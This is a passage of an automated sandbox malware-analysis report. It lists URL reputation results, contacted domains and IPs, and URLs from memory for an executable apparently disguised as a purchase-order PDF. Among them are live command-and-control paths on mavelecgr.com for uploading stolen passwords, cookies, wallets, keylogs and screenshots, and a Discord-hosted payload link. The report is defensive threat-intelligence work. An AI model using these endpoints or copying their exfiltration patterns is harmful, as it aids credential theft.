http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/&	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.fontbureau.com.TTF	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Z	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/K	0%	URL Reputation	safe
https://support.google.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/B	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
http://www.fonts.com-	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/u	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoF	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cnF#k	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/o	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/j	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/a	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/B	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cnU	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp//	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://ip-api.com4	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnl	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.come	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnd	0%	URL Reputation	safe
http://www.sajatypeworks.coms	0%	URL Reputation	safe
http://mavelecgr.com	100%	Avira URL Cloud	malware
http://mavelecgr.comD8	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//screen.php?hwid=CHC8BC548DD2	100%	Avira URL Cloud	malware
http://mavelecgr.com	2%	Virustotal		Browse
https://gomorrah.pw	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0	100%	Avira URL Cloud	malware
http://www.fontbureau.comituk	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//gate.php?hwid=CHC8BC548DD2	100%	Avira URL Cloud	malware
http://www.fonts.com0	0%	Avira URL Cloud	safe
http://www.sandoll.co.krcom-d	0%	Avira URL Cloud	safe
http://www.tiro.comZ5	0%	Avira URL Cloud	safe
http://www.fontbureau.comy=	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//config.json	100%	Avira URL Cloud	malware
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0	100%	Avira URL Cloud	malware
http://fontfabrik.comX	0%	Avira URL Cloud	safe
http://ip-api.com8	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//keylogs.php?hwid=CHC8BC548DD2	100%	Avira URL Cloud	malware
http://mavelecgr.com/webpanel/	100%	Avira URL Cloud	malware
http://www.fontbureau.comion=	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnBolG-k	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/j	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/a)	0%	Avira URL Cloud	safe
http://www.fontbureau.commY	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cdn.discordapp.com	162.159.135.233	true	false	high
ip-api.com	208.95.112.1	true	false	high
mavelecgr.com	89.45.67.2	true	true	unknown
windowsupdatebg.s.llnwi.net	178.79.225.128	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mavelecgr.com/webpanel//screen.php?hwid=CHC8BC548DD2	true	Avira URL Cloud: malware	unknown
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0	true	Avira URL Cloud: malware	unknown
http://mavelecgr.com/webpanel//gate.php?hwid=CHC8BC548DD2	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip	false		high
http://mavelecgr.com/webpanel//config.json	true	Avira URL Cloud: malware	unknown
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0	true	Avira URL Cloud: malware	unknown
http://ip-api.com/json/	false		high
http://mavelecgr.com/webpanel//keylogs.php?hwid=CHC8BC548DD2	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoF	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com-	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253554671.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000444E000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mavelecgr.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003032000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002FEE000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome?p=update_errorFix	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobe.c/g	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.370888340.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.335425657.000000000782C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.371132529.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.430668640.000000000783D000.00000004.00000020.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.592531055.0000000007889000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnF#k	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255391624.0000000005862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/answer/6315198?product=	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://www.sajatypeworks.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253185765.0000000005883000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/4	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://www.fontbureau.com4	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp//	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mavelecgr.comD8	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EF5000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003032000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002FEE000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EED000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ip-api.com	Zip.exe, 00000014.00000002.477974900.00000285A22C5000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A225F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22AE000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22A2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A2279000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/&	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome?p=update_error	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.0000000002831000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.393580716.0000000003161000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A21E1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.0000000003561000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com.TTF	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gomorrah.pw	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.529034520.0000000000482000.00000040.00000400.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22EB000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003222000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031C3000.00000004.00000800.00020000.00000000.sdmp, info.txt.8.dr	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Y	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/intl/en_uk/chrome/Google	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/Z	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005867000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005872000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comituk	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=chrome&oq=chrome&aqs=chrome..69i57j0j5l3j69i60l3.2663j0j4&sourceid=c	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://ns.adobe.cobj	RudGXFgqTDEzz.exe, 00000018.00000002.592531055.0000000007889000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/K	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome?p=upda	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/B	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/=	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.krcom-d	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255264548.0000000005862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259199561.00000000058A6000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259217143.00000000058A6000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259265344.00000000058A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/u	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comoitu	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.285445615.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
